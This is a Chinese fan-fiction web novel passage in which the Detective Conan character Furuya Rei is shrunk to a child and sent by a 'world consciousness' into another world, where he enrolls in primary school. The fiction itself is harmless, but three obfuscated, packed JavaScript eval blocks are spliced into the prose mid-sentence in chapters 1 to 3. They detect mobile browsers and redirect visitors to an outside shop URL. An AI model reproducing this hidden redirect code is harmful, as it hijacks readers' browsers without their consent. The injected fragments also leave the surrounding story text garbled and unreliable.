《[咒回]降谷警官在咒术界》 1. 第 1 章 “叮铃——” 放学铃声响起,掉针可闻的教室里立刻响起了窸窸窣窣的动静,国文老师挑眉调侃:“这就坐不住了?” 原本蠢蠢欲动的学生立刻将两手放在桌子上摆好,端正坐姿,拖长声音:“没——有——” 国文老师看着将腿从桌底伸出到走道的学生们,失笑摇头。 这话听听就行,不过今天是周五,社团没有活动,学生们的自由活动时间更久,着急下课也是正常。 国文老师利落地宣布下课,夹着课本离开。 班门关上的下一秒,三年级三班的教室瞬间炸开了锅,笑声、喊声、聊天声混成一片。 嘈杂声中,一个扎着双马尾的女孩小跑着绕过半个班级,直奔靠墙一列中间的座位。 “降谷同学,这个周末真的不和我们一起去野营吗?我妈妈答应我会做超好吃的饭团!”女孩双手啪的一下拍在桌面上,双眼亮晶晶地看着面前的男孩。 早就注意到来人的降谷同学停下手中的动作,露出歉意的笑容:“真的非常抱歉,加藤同学,家里人有了其他安排,如果可以的话下次我一定参加。” “诶——我们都很期待和降谷同学一起出去玩的。”陆续有其他学生围过来,站位靠里的蘑菇头女孩噘着嘴,“真的不行吗?” “我也很想和大家一起,但是真的没办法嘛。拜托,这次就原谅我吧?”降谷同学双手合十,讨好地冲她们晃了晃。 男孩的眼睛又大又圆,紫蓝色的眼眸水润透亮,下垂的眼型更是有一种特殊的无辜感,再加上他带着婴儿肥的小圆脸和俏皮的动作,撒起娇来事半功倍,仅一个眨眼就让所有人把对他的一切不满抛到脑后。 几个女孩被他的wink晃到心神,原本打算再劝一劝的话忽然就说不出口了,她们互相看了看,发现同伴全都哑火了。 打头的加藤同学鼓了鼓脸:“……好吧,那下次一定要来哦?” 降谷同学露出了像他金发一样灿烂阳光的笑容:“当然!我其实也很期待和大家一起出去玩的,下次一定要再叫我哦?” “好!” 既然周末没法一起玩,那在下周一见面前,他们就只剩现在的时间能和降谷同学相处了,于是几个孩子趁着降谷同学还在收拾东西,抓紧时间与他聊天,话题从周末的出行,跳到今天的晚饭,再跳到学校的小狗,最后跳到最新连载的动画片。 随着内容越跳越远,加入进来的人也越来越多,直到班门被班主任拉开,这场热闹才被迫中断。 “哎呀,我还以为你们都回家了,没想到都在,怎么全围在这里聊天啊?”班主任有些无奈地看着一群小萝卜头,“今天没有社团活动,要是回家晚了会让家长担心哦?大家都快点回家,尤其是值日生,要注意打扫时间。” “是——” 一群人瞬间散开,身边终于空下来的降谷同学松了口气,抓紧时间收拾书包。 但紧接着班主任又点了他的名字:“降谷零同学,收拾好东西后麻烦你来办公室一下哦。” 降谷零动作一顿,露出乖巧的笑容:“好的,坂本老师。” 坂本和也又找他啊,还真是一天不落,明明一开始……是他把好感刷太高了? 唔,算了,高就高吧,有利无害。希望今天能速战速决,他还有重要的事情要办。 降谷零一边在心里嘀咕,一边快速收拾好书包,然后和同学打了招呼后往办公室走去。 因为在班级耽误了一会儿,已经错开了放学高峰期,现在走廊大部分都是值日生。 降谷零小心地避开把打扫用具当表演道具用的学生,又敏捷地躲过飞溅的拖把水,安然走到了办公室门口,敲了敲门:“打扰了。” “请进!” 推门进去,办公室里零零散散坐着几个老师,降谷零一眼就看见了坐在窗边的中年男人,他面前放着一个高脚圆凳,桌上摆着酸奶。 坂本和也推了推眼镜,向他招手:“降谷同学,过来坐。” 降谷零冲其他老师笑笑,算是打过招呼,然后轻车熟路地走到坂本和也的桌子前,爬到凳子上:“坂本老师好。” “你好。”坂本和也将酸奶推给坐得板板正正的小男孩,语气温和,“其实叫你来也没什么事情,就是问问你今天过得怎么样?” 确认酸奶仍旧是常见的平价牌子,降谷零也不扭捏推辞,大方道谢后接过:“谢谢老师。” 他回答:“我挺好的,和大家相处得也很好,刚刚还有同学邀请我一起玩呢。” “那真不错。”坂本和也颔首。 “今天怎么样”算是这几天他们两个之间的固定话题了,之所以会这样,是因为坂本和也面前名为降谷零的男孩子是上周四才转学过来的转校生,所以严格来说,这周是他在新学校的第一周,坂本和也非常重视。 其实一开始,降谷零在坂本和也看来是一个巨大的烂摊子: 一、降谷零在非入学季突然中途插班。这种转校生大部分都有一个一言难尽的转学原因,不管是被恶劣的那一个,还是恶劣的那一个,都不是好事。前者需要他操心身心健康,后者需要他操心其他人的身心健康。 二、他是校长和副校长提前叮嘱过的需保护儿童*,据说报到时身边连个陪同的成年人都没有,是问题儿童的概率大大增加——毕竟这种家庭有缺陷的孩子基本都有这样那样的问题。 坂本和也很想拒绝这个差事,但副校长拒绝了他的拒绝,说他是目前带班的老师中年龄和经验最合适的人。 眼角皱纹跟折扇一样的秃头副校长拍了拍坂本和也的肩膀,将一张A4纸塞进他的手里:“你看,这个孩子的成绩非常优秀,学校把这样一个好苗子安排到你的班里,这是学校相信你啊!坂本老师可不要辜负学校啊。” 坂本和也僵着笑容接过了学生资料:“……谢谢学校的信任。”个屁! 在心里骂骂咧咧的坂本和也低头,接着眼前一黑。 ——出现了,这个学生是烂摊子的第三个证据! 他的外貌及其少见!是金色头发和深色皮肤! 日本的排异程度如何,坂本和也再清楚不过,他用脚指头想都能列出一堆即将对他迎头痛击的麻烦事,比如霸.凌、霸.凌和霸.凌。 坂本和也觉得不行,他认为自己承受不住这种信任,但来不及再度开口,他就被副校长推出办公室:“好了好了,那你就快带学生去班级吧!” “砰。”希望之门被彻底关上。 坂本和也:…… 坂本和也站在办公室门口在心里骂了三十秒狗领导,然后深吸一口气,被迫扛起班主任的职责关照降谷零,每天一有空闲就求神拜佛,祈祷降谷零别出事。 令人意外的是,降谷零不仅没有出事,反而还和大家迅速打成一片,成为新晋人气王。 ——辐射范围不只有学生,还有教师,其中就有坂本和也。 没办法,在学校中,老师评价学生的表现基本只从两方面走:一个是成绩,一个是行为处事。 降谷零两个都做得非常完美,就让人很难不喜欢。 从成绩讲,降谷零堪称优等生中的优等生,除了入学成绩,他平时的小测也都是满分,课堂表现也很优秀。 从行为处事讲,降谷零既谦逊有礼,又天真可爱,非常讨人喜欢,周围和他相处过的老师都对他赞不绝口。 作为接触最多的班主任,坂本和也自然也不例外。 他甚至要更偏爱降谷零一些,开始真心实意地在意起他,并尽最大努力在力所能及的范围内照顾降谷零。 如果可以,坂本和也还想一对一帮扶。 不过说是这么说,但降谷零肯定不会同意的。 大概是家庭有缺,降谷零养成了非常独立的性子,不仅有主见,边界感也很强。虽然平时看上去一副“怎样都可以”的样子,可想让他接受帮助很难,能把酸奶这些小零食借着谈话送出去已经算是不错了。 想到这里,坂本和也心中的怜惜与疼爱更甚。真乖啊,降谷同学如果是自己的孩子就好了。 坂本和也的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048651|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈祥:“和大家关系这么快变好,看来降谷同学合该和我们一起度过小学时光。” 降谷零愣了一下,笑出来:“老师的说法好奇怪。但是确实,能转学过来认识大家真是太好了。” 坂本和也也笑了笑:“哈哈,我的说法很奇怪吗?但是是真心话。” 降谷零不好意思地抿唇:“我知道的。谢谢老师。” …… 坂本和也又找话题和自家学生聊了一会儿,确定他真的适应良好,没有骗人后就开始赶人了:“好了,我也耽误你不少时间了,快点回家吧。” “怎么能说是‘耽误’?我和坂本老师聊天很开心的,难道老师不觉得吗?”降谷零撇撇嘴,眼神幽怨。 坂本和也忍俊不禁,揉了揉他的脑袋:“我也觉得很开心,但是如果你再不回家的话就太晚了。还是说我终于有机会把你拐回家见见你师母和师兄,顺便吃个饭了?” “呜哇,坂本老师好可怕,居然拐小孩,我要先跑了!”降谷零作出害怕的样子,滑下椅子,迅速开溜。 见人一下子蹿出去,坂本和也下意识起身去追,但没跑两步,就见门框上重新探出了半个脑袋,眉眼弯弯:“您留步。谢谢您的好意,师母和师兄有机会我一定会去拜访,但今天就先告辞了,坂本老师再见!” 坂本和也不是第一次邀请降谷零,也不是第一次被拒绝,这次他也没抱什么希望,只是习惯性问一下,所以对人又跑了的结果也不意外。 他跟到门口提高声音叮嘱:“慢点!别在走廊跑,会摔倒!回家路上小心,有什么事情随时给我打电话!” “知道了!谢谢老师!”降谷零回头冲他挥挥手,背着书包消失在拐角。 “这孩子……跑得真快。”坂本和也摇摇头,准备回家。 而另一边的降谷零则趁着放学没人抓违纪,一路跑出教学楼。 远处的火烧云绚烂华丽,但降谷零只瞥了一眼就收回视线,专心赶路。 直到出了校门,途经学校名牌时,他的脚步才慢了一瞬。 岩手县立大学附属小学。 巨大的字体存在感极强,尤其是最后的两个字更是扎人眼球。 小学……唉……降谷零不禁无声叹气。 降谷零,虽然现在看上去是个小学生,但他实际是警察厅警备局警备企划课“零”组的公安警察。在多年卧底以酒为代号的黑色组织后,他成功协同国际各方铲除了这个毒瘤,还社会一片清朗。 即便因为职业的特殊性无法将功绩公之于众,但降谷零确实是当之无愧的英雄——可这改变不了他现在正就读于小学的现实。 小学……降谷零不住叹息。 为什么一个公安警察摇身一变,成了小学生呢?那就要从不久前一个平平无奇的早晨说起了。 之前说过,降谷零卧底有功,因此在回到警队后他被迅速提拔,到达了一个按常理来说以他的年龄根本到不了的位置。 这是嘉奖,同时也意味着责任。 于是本就认真勤勉的降谷零更加卷生卷死,下属们时常心惊胆战地在私底下嘀咕:对降谷先生来说,工作到凌晨二三点已经算不上是加班了——通宵才是! 而意外就发生在降谷零刚刚结束加班,准备去小憩一会儿的那个早晨。 当时,他听到了一声这辈子都不会忘记的尖叫。 【啊啊啊啊啊!!!你又双叒叕通宵了!!!】 声音的分贝极高,又是忽然在耳边炸起,原本因为通宵有点眩晕的降谷零瞬间清醒,立刻靠墙环视四周,浑身肌肉紧绷。 有声音,却没有看见人……幻听?降谷零有一瞬怀疑自己是不是加班加到精神恍惚,但下一秒他就知道不是自己的问题。 【组织都灭亡了!大家都去度假了!怎么你还这么拼命三郎!!!】 【职位都超级大跳级了!手下都一箩筐了!你为什么反而睡得更少了!!!】 【不行!再这样下去你会猝死的!给我去度假!!!】 【走你!!!!!】 2. 第 2 章 原本还在抓捕对方话中透漏的情报的降谷零直觉不妙,他想要做些什么,但还来不及反应,就被一股力量包裹。 接着,眼一闭一睁,降谷零就从室内换到了室外。 感觉到束缚住自己的无形力量没有了,降谷零也没有妄动,依旧站在原地,只转动眼球警惕地扫视周围。 太阳差不多位于头顶,时间大概在正午左右。 气温处于体感舒适范围,榉树的叶片微黄,日期大约是十月至十一月。 高楼、LED大屏、海报夸张的门面、无处不在的日文指示牌,这里应该是一条日本的商业街,但来往的路人不是很多。 明明是商业街却如此冷清……现在是工作日? 推理不过一瞬,但得出结论的降谷零却更加精神紧绷。 不对!不对!不对! 统统不对! ——时间应该是六月二十三号,周天,早晨八点的! 降谷零攥紧冰凉的手指,倏地睁大眼睛。 等、这是?! 【铛铛,这里是——欸?!这是哪里啊!怎么回事?!】 降谷零:…… 那是他的问题才对吧! 经过对方的打岔,降谷零反而冷静下来,四肢渐渐回暖。 那道声音听起来急匆匆的:【等等!出问题了!你等我一下,我去看看!】 声音是突然出现的,在说完这句话之后又突然消失,被丢在原地的降谷零重新握了握拳。 果然不是错觉,手掌的尺寸变小了。 他又低头看自己,不出意外的全都缩水了,只是他刚刚的注意力一直在远处,才没发现。 但他怎么会变小?APTX-4869?不对吧? 除此之外,这个街区怎么看怎么熟悉,这不是涩谷吗?他怎么会来到涩谷?还是时间完全对不上的涩谷? 降谷零百思不得其解。 这如果不是他的亲身经历,而他也确定自己没有出现任何身体和精神方面的问题的话,降谷零就要建议给他描述这一切的那个人去看看病了。 再次看了四周一圈,降谷零依旧在原地没动。 情况很诡异,不适合贸然行动,可以等导致这一切发生的罪魁祸首回来再说。 降谷零默默在心中对神秘声音进行侧写,思索着等下要怎么套话。 声音没让他等太久:【这里是涩谷……但是怎么跑到涩谷来了,不是应该去齐木町吗?】 TA的语气听上去很困惑:【不是该换世界吗?出错了?不对,好像不是一个涩谷?】 听到对方的自言自语,降谷零被其中包含的信息惊地再次瞪大眼睛。 齐木町?有这个地方? 不是一个涩谷?哪儿还有第二个涩谷? 最重要的是,“换世界”? 降谷零心神震动,恍惚间没能及时避开从身后拐出来的行人,不小心绊了对方一下。 “抱歉。”他下意识去扶,却因为身高不够摸了个空,行人也根本没有在意他,念叨着“居然差点平地摔”就走远了。 降谷零心下骇然,费了好大力气才勉强绷住表情,这种能力……? 【他们看不到你诶。】声音也很惊讶,【是因为是我们刚刚落地的原因?唔……保护期?哎呀,还有这种体贴的设定呢!话说你为什么缩水了?这是跨世界的后遗症?】 保护期?设定?跨世界的后遗症? 从声音一开始出现到现在,一切发生得太快、太离奇,降谷零有太多疑问,只能先挑一个重点问:“你到底是谁?” 【我吗?是世界意识。之前因为乌丸莲耶试图玩弄时间陷入沉睡,多亏了你们拨乱反正我才醒过来,谢了!】 听到这,饶是降谷零也不由自主地张开嘴:“世界意识?” 【没错没错,是世界意识!你们都是我最重要的孩子们!我为你们骄傲!】 忽然多了个家长、还被夸夸的降谷零:…… 按理论来说,如果地球可以被称作母亲,那世界意识也确实称得上是大家长——但“地球母亲”只是一个拟人的修辞手法,而世界意识现在可是真的出现了! 这一切真的不是他在做梦吗? 降谷零三十多年的唯物主义世界观摇摇欲坠,可眼下的情况又是无可辩驳的证据,容不得他不信。 不,也说不定是幻觉……但可能吗? 脑中一团乱麻,各种各样的思绪盘旋其中,这让前一晚通宵的降谷零头疼不已,他按了按太阳穴:“不好意思,请问能从头解释一下吗?” 世界意识沉吟一瞬:【唔……我想想,其实挺简单的。之前不是说你们帮了我吗?为了感谢你们,我根据每个人的贡献,都给了不同的礼物。给你的就是跨世界度假的礼物,毕竟你留在我的世界肯定不会好好休息。】 【原本我联系了一个日常番世界给你,你只要去那边放松就好,就算天塌下来都有楠雄A梦顶着,结果不知道为什么落地点变了!】 世界意识的声音瞬间变得暴躁起来:【到底是怎么一回事啊!!!】 就在此时,他们中间忽然插入第三道听起来有点虚弱的声音:[大概是我不小心把你们牵扯进来的,抱歉。] 【哈?!就是你——等等,你是这个世界的世界意识?你怎么这么虚弱!】 [你为什么准备谢礼,我就为什么会变得虚弱。] 【我为什么准备谢礼,你就为什么会变得虚弱?】世界意识把这句话盘了两遍,理顺了逻辑,问,【你的世界也出问题了?】 [嗯。]另一个世界意识的语气厌厌的,[今天是十月三十一日,万圣节前夜。看见你们眼前的场景了吗,再过半天,这里就会变成死亡的乐园。] 身为公安的降谷零不自觉皱起眉头,死亡的乐园?再过半天就是下午了,而万圣节前夜下午涩谷的人流量…… 话说又回来,死亡危机+万圣节+涩谷,这个公式组合排列起来该死得熟悉……普拉米亚? 降谷零的心忽然重重跳了一下。 世界意识也听懂了对方的潜台词,结结巴巴地问:【死、死亡的乐园?这是万圣节的活动主题吗?】 [哼,如果是那样就好了。]另一个世界意识的语气满含嘲弄。 【不对不对!】世界意识忽然反应过来,【事情还没有发生,你为什么会知道!】 另一个世界意识诧异地反问:[不知道才会奇怪吧?世界走向末路的时候,世界意识都会有感觉,你之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048652|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道没有感觉吗?] 【啊、啊?我应该有感觉吗?】世界意识的气势一下弱了下来,支支吾吾地解释,【我就是忽然困了,然后又忽然醒了……事后才知道具体情况……】 [……那你还真是好运,没有一睡不醒。]另一个世界意识颇为感慨,[是多亏了这个人和他的同伴吧?你们辛苦了。] 状况外的降谷零被拉入对话:“……谢谢您的夸赞。” 只是虽然是夸赞,但结合自家世界意识一问三不知的情况,听起来莫名有种阴阳怪气的意味,降谷零诡异的有种“丢人丢到外面去”的感觉。 他忽视这个难评的感觉,问:“请问您刚刚说的‘牵扯’是怎么回事?” [那个啊……我在尝试改变命运,但是失败了,重新回溯的时候能量波动太大,影响到周围了。]顿了顿,祂话音一转,[这位先生……] 重新回溯……? 命运……? 降谷零心跳加速,眼睫轻颤,但语调不变:“您好,我姓降谷。全名降谷零。” [好的,降谷零先生,如果可以,能请你帮我一下吗?] 【不行!】听见这话,世界意识想也不想地就插嘴回绝了。 如果是其他时候,世界意识也许会对祂的同胞送上真挚的同情,但现在被打乱计划的祂不捶始作俑者一顿都算是不错,更别提让自己的孩子去冒险了。 拜托,那可是死亡的乐园诶! 【找谁不能找,为什么非要找零?你自己找你世界的人不行吗?】 [你在开什么玩笑?]另一个世界意识语气惊讶,[你难道不知道命运线对世界意识的约束是最大的吗?要不是“只可观测,不可干越”,我早就自己上了!] 还真不知道的世界意识:【……是这样吗?我为什么头一次听说?既然不能插手,为什么要让世界意识有预感?这是矛盾的啊!】 另一个世界意识听上去很无语:[你真的是世界意识吗?该不会刚诞生没两天吧?一线生机懂不懂?世界意识能有预感是一线生机,抓住了就能活,抓不住就和世界一起完蛋,我原本以为自己永远抓不住了,没想到峰回路转遇见了你们。] 祂又转向降谷零,诚恳道:[所以,降谷零先生,如你所见,这次相遇是我可遇不可求的缘分,如果可以的话,希望你能帮忙。我会付报酬的,只要在我能力范围内,你想要什么都可以。] 【怎样都不可以!】世界意识再次毫不犹豫地拦截,【我是不会同意零去冒险的!】 [我会保证他的安全。]另一个世界意识一字一顿地强调。 【那也不行!世界内的事情,世界意识能干涉多少?万一出个意外怎么办?反正我不同意!】 在这句话说出口后,另一个世界意识忽然沉默,场面一时安静下来。 吵架吵到一半对方突然收声,世界意识担心对面是因为太虚弱,所以直接没了。 世界意识害怕牵连到己方,祂忍了忍,没忍住:【喂你——】 [那算了吧。]还活着的另一个世界意识打断祂的话,叹口气,[我能理解,你的担心有道理。] 【欸?】世界意识已经做好了一直吵下去的准备,却没想到话题猝不及防就结束了。 3. 第 3 章 [不用这么意外。把你们牵扯进来本就是我的不对,后续的请求也确实失礼,但我也只是不甘心想试一试。] 【呃……】对方这么通情达理,世界意识反而不知道说些什么了。 [之前听说你要带降谷零先生去度假?我建议你们快点启程,我要赶时间准备继续之前的尝试了。] 嗯?在心神震荡中,勉强分出几分注意力听两个世界意识吵架的降谷零愣了一下。 逐客令?就这样了?事情发展有点超出他的预料了。 按另一个世界意识的介绍,祂现在处境危险,而他们是一线生机,那么祂应该会极力争取与他们的合作,所以在对方退步后,降谷零理所当然地认为祂是以退为进,结果对方就这样放弃了? 这合理吗?难不成这个举措依旧是在以退为进?不会吧?按自家世界意识的性格,那绝对是要立刻把他打包带走的—— 等等。 降谷零心中升起不妙的预感。 按照他家世界意识目前展现出来的性格,祂应该在听到对方放弃后就直接行动——不不不,应该说,是在对方提出不满意的要求后就直接行动,但怎么到现在了都没一丝动静? [喂。]因为世界意识一直没说话,这次换另一个世界意识开口催促了,[你在等什么?难不成要我送你们走吗?] 【这个……可以吗?】世界意识期期艾艾,有些不好意思,【我的能量不够带人回去了,能走的话我早就走了。】 降谷零:……? 不好意思,他的听力好像出现了问题,他家世界意识刚刚说了什么?什么不够了?不能什么了? 另一个世界意识听起来也很震惊:[哈?你能带人出门,不能带人回去?开什么玩笑?] 【我才没开玩笑!】世界意识也很郁闷,【我其实刚醒没多久,能量本来就不多,如果只有我自己还好,但要是多带一个人就是杯水车薪了,所以我原本打算多攒攒能量再送零出门的,到时候也能亲自把人接回来,但是——】 【但是他太折腾自己了!】世界意识超级生气,【我害怕多拖一会儿他就直接猝死了,所以提前和目的地的世界意识商量,问能不能由我把零送过去,然后对方负责把零送回来。祂答应了,我就带着零出门了,结果跑到你这里来了!】 说到这里,世界意识又开始委屈起来:【都怪你!你得负责!】 [我承认这次意外有我的问题,但也不是全都是我的问题吧?]另一个世界意识一副开了眼的样子,[你怎么敢的啊?世界间的乱流那么危险,你那时候怎么不说不让降谷零先生冒险?而且你信别的世界意识能安全把降谷零先生送回去,为什么不信我能保护好他?] 【那能一样吗!】 [那怎么不一样,你就说这两个的危险程度是不是差不多?甚至前者更危险!] 世界意识被噎住了,旁听的降谷零则表情空白,他这些年什么场面没见过? 嘿,这个场面他还真没见过。 【就算你这么说——欸?】世界意识忽然支棱起来,一副想到了好办法的语气,【这样,我信你了!那你既然能保护好零,不如直接把零送回去!】 [……有你这样空手套白狼的吗?我答应保护是因为他能帮我,我要是帮你送人我有什么好处?带人穿越世界需要多大能量你不知道?你想让我死直说。] 【那怎么办?】世界意识也开始着急了,【要不然这样,我直接用全部力量把零送回去!】 [你疯了?全部力量都用了那你也没了,你不想活了?!] 听见这个严重的后果,降谷零也肃了神情:“请不要做这种事情!” 【但是这次事情确实是我的问题……】世界意识的声音低沉下来,【尤其是我出门前还因为太生气没有问零的意见……零,对不起……】 “不,您也是为了我好。”降谷零叹气,“请别担心,现在还不到孤注一掷的地步,这件事情是可以解决的。” 现在降谷零算是彻底确认了,他家世界意识真的是个傻白甜。 而另一个世界意识……不好评价。 除此之外,在很多问题上两个世界意识的说法差别太大,根本不知道到底是哪一个说的是真的。 不过综合来讲,降谷零更信任很护短的自家世界意识——当然,也不排除都是真的,比如世界意识之间的个体差异之类的。 【还有什么办法?】 降谷零没有直接回答,而是问了一句:“您觉得呢?” 【我?】 “……不是您。” 已知现场有三个存在。 首先,世界意识是不知所措到想要一换一的; 其次,降谷零是提出不需要用这种方法解决问题的。 那么提问:刚刚的那个反问是对谁说的? 降谷零本以为自己的指向已经很明确了,却没想到队友还能会错意,他忍住想扶额的冲动:“虽然有些失礼,但接下来能请您暂时不要说话吗?” 【哦哦,没问题!零你放心,保证不打扰你!】 降谷零:。 糟糕,有点幻视冲他摇尾巴的哈罗了。 降谷零紧急把这个失礼的想法打包丢出去,抬起头看向天空:“您知道我在和您说话,却不做回应,任由我家——” 降谷零:…… 不懂就问,世界意识到底要怎么称呼,总不能真叫母亲之类的称呼吧?反正他叫不出来。 那叫大家长?也好怪! 鉴于实在不知道怎么称呼世界意识,降谷零卡了一下就若无其事地直接跳过了:“……误解。真是的,我会感到困扰的啊。” 另一个世界意识否认:[我没那个意思,降谷零先生误会了。] 降谷零心下稍安,出声解释了就还不算难办,他把目光投向远处。 整理卫生的店员、打电话的家庭主妇、嬉闹的少年人……一切都平静又祥和。 ——令人熟悉,又使人激动。 另一个世界意识继续道:[我只是不知道说什么罢了,毕竟祂一看就不会同意,也许会更愿意用自己的方法。] 降谷零垂下眼睑,掩住神情,无奈地笑了笑:“但那样我不会同意,您是知道的。不如我们聊聊?” [请说。] “您应当知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048653|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能被您称为‘死亡的乐园’的危险,如果只有半天的时间是不够挽回一切的,我仅仅是个普通人而已。”降谷零耸肩,摊开手掌,“更别说我现在还莫名其妙地变成了小孩子。” [我觉得小孩子也不错,我可以直接把你送回二十年前,你从那时起更方便布局。] 二十年?居然可以回溯二十年那么久?而且这种毫不犹豫的顺势而为…… 降谷零用舌尖抵住牙根,表情为难:“那确实够了,但是又太久了。我还有自己的世界需要照看,短暂的时间能当做出差,但二十年……” 另一个世界意识从善如流:[可以调整世界之间的流速。我可以和你的世界意识对接,全力维持两个世界间的流速,这样在这边的二十年,就是你那边的二十天。] “居然还可以这样吗?”降谷零感叹后又提出新的困扰,“可是我会不适应吧……明明过了二十年,回去后却只过了二十天,这种时间错位会影响我的工作的。” 另一个世界意识斩钉截铁:[我可以消除这种影响,包括其他可能产生的对你的任何负面影响。] 这次没等降谷零继续问,祂自己补完了后面的:[降谷零先生,所有你担心的问题我都可以解决,你不用挂念任何事情,我可以为你扫清一切。这里面包括我之前说的:我会不计一切代价保护你,立誓言的那种。] 然后祂又重复了一遍之前说过的话:[我们可以签合同,以世界之力。然后等一切结束,我会付报酬,只要在我能力范围内,你想要什么都可以。] 想要什么都可以?这真是…… 降谷零喉间溢出意味不明的低笑:“您能确认祂说的真实性吗?” 他对这些不是很懂,只能咨询感觉不是很靠谱、但是是唯一依靠的自家世界意识。 “……” “……您可以说话了。” 【啊?哦哦。】世界意识反应过来,【那个、非得这样吗?我不想同意……明明是带你来休假的,结果……而且还是让你一个人在这边二十年……】 “但这个是唯一能两全的办法吧?” 【说是这么说……】 “请放心吧。”降谷零轻笑,放软语气,“我已经让您担心过了,怎么能继续让您担心?我会牢记劳逸结合,照顾好自己的。” “更何况,我现在是小学生的身高诶?”他比了比头顶,“在正式工作前,我能清闲不少时间呢,去……齐木町?能有这么久吗?” 【比不了……】世界意识哑火了。 另一个世界意识立刻出声:[那么来签订契约吧。] 接着,降谷零面前出现一份漂浮的合同,上面密密麻麻列了很多条,远超刚刚沟通的内容。 【你这是早就准备好的吗!?】世界意识气死了,对这种公然拐带自家孩子、还即将拐带成功的人贩子,祂看对方哪儿哪儿都不顺眼。 真是活该要消散!好想对祂重拳出击!世界意识气得咬牙。 降谷零假装没听见自家世界意识的气急败坏,仔细观察面前的合同。在检查条约时,他发现作为载体的东西并不是纸,而是一种流动的金色能量,触感很微妙。 4. 第 4 章 [那是属于法则的能量。]另一个世界意识给降谷零介绍,[是写下就不可违背的规则,哪怕对象是世界意识。] 世界意识看着其中一条“不论委托成功与否,在出现意外时,要率先保证送降谷零回原世界”,冷哼一声:【算你识相。】 然后祂在所有人都反应过来之前,把这份合同撕碎,重新用自己的力量构筑了一模一样的合同,还在里面加了不少有利于降谷零的私货。 降谷零:。 唔……嗯……他要不要收回先前对自家世界意识傻白甜的评价? 很久没有体验过“被保护”的感觉的降谷零终于有了种“世界意识确实是他的大家长”的感受。 “谢谢您。”帮他解决了后顾之忧。 【都是我该做的!】世界意识挺起并不存在的胸膛,接下降谷零的夸赞,而后立刻变脸,凶巴巴道,【喂,另一个家伙,你应该不会有意见吧!】 [……] [我没关系。]另一个世界意识好声好气。 于是,降谷零签下一份特殊的聘用合同,进入了新世界。 降谷零一开始想得很好,凭借世界意识的背书和他的能力,这趟旅程虽不会一直顺风顺水,但至少不会出现无法克服的困难。 却没想到,信心满满的他刚正式进入世界没多久,就惨遭滑铁卢—— 小学生!小学生到底要怎么当啊?! 站在讲台上,面对一个班级的真·小学生的好奇打量,降谷·伪小学生·零从未如此真情实感地佩服工藤新一。 眼下,降谷零有几个参考。 参考一:他小时候。 这肯定不行,完全是负面案例。 参考二:真的小学生。 这也不行,他成年人的羞耻心不允许。 参考三:江户川柯南或者灰原哀。 这两个似乎可行,但他的外貌带来的麻烦……得想个法子。 最后,降谷零一咬牙一跺脚,闭上眼睛把Honey Trap删删改改,用在了小学生的人际交往上。 比如…… “欸,这样吗?你的成绩好厉害啊!”降谷·入学考试满分·零眨着大眼睛,崇拜地看着对面。 “……” “能找到活动室多亏了你,你这样帮我,我真是不知道要怎么感谢你……”降谷·已经背下学校地图·零羞涩地挠了挠脸颊。 “……” “什么呀,你难道其实不想和我做朋友吗?可我真的很想和你做朋友。”降谷·只是在刷好感以方便行事·零鼓起脸,嘴角下撇。 “……” 就这样,降谷零在学校里混得如鱼得水,成功成为班级人气王,并逐渐向年级人气王发展,甚至还有往校级人气王迈进的潜力。 不止如此,在吃到甜头后,他还把这种方法用到生活的方方面面。 老实说,一开始降谷零非常不自在,可无法否认的是,这种手段虽然有点奇怪,但至少效果不错,不是吗? 就像现在降谷零已经借由同学的关系网,延伸到他们的亲友,慢慢建立了这片区的情报网,用“啊咧咧”的工藤新一能做到吗? 再说了,公安、咳,不对,串台了——他是说,拯救世界的事情,怎么能如此简单地下定义呢? 原本还有些羞耻的降谷零成功说服自己,从此面不改色心不跳地借着小孩子的外表装乖卖可爱。 不过这种方法好用虽好用,却也不能避免所有的麻烦,比如眼前四个在他出校不久后堵住他的生面孔。 打头的是个戴着鸭舌帽的男孩,他高昂着头斜睨降谷零,轻蔑道:“你这家伙就是Furu、Furuta?还是ya?” “Furuya(降谷)。”降谷零微笑着纠正。 哎呀,真是太熟悉了,这种一看就是要找茬的神情和语气。鉴于这次从一开始就搞好了人际关系,他还以为会更晚一点遇见这些事情呢。 同样都是面对充满恶意的挑衅者,曾经年幼的降谷零一点就炸,能动手绝不动嘴。 但现在从成年人缩水后的降谷零只觉得可笑,甚至还萌生了“看看对方还能搞出些什么”的乐子心理。 不过他今天还有事,所以看戏就留到下次吧,这次要速战速决。 话说这几个人是谁? “请问你们是……?”降谷零已经把本年级的人都记住了,但对这几个人是真的没印象,对方看上去比自己要小一点,是二年级?还是一年级? 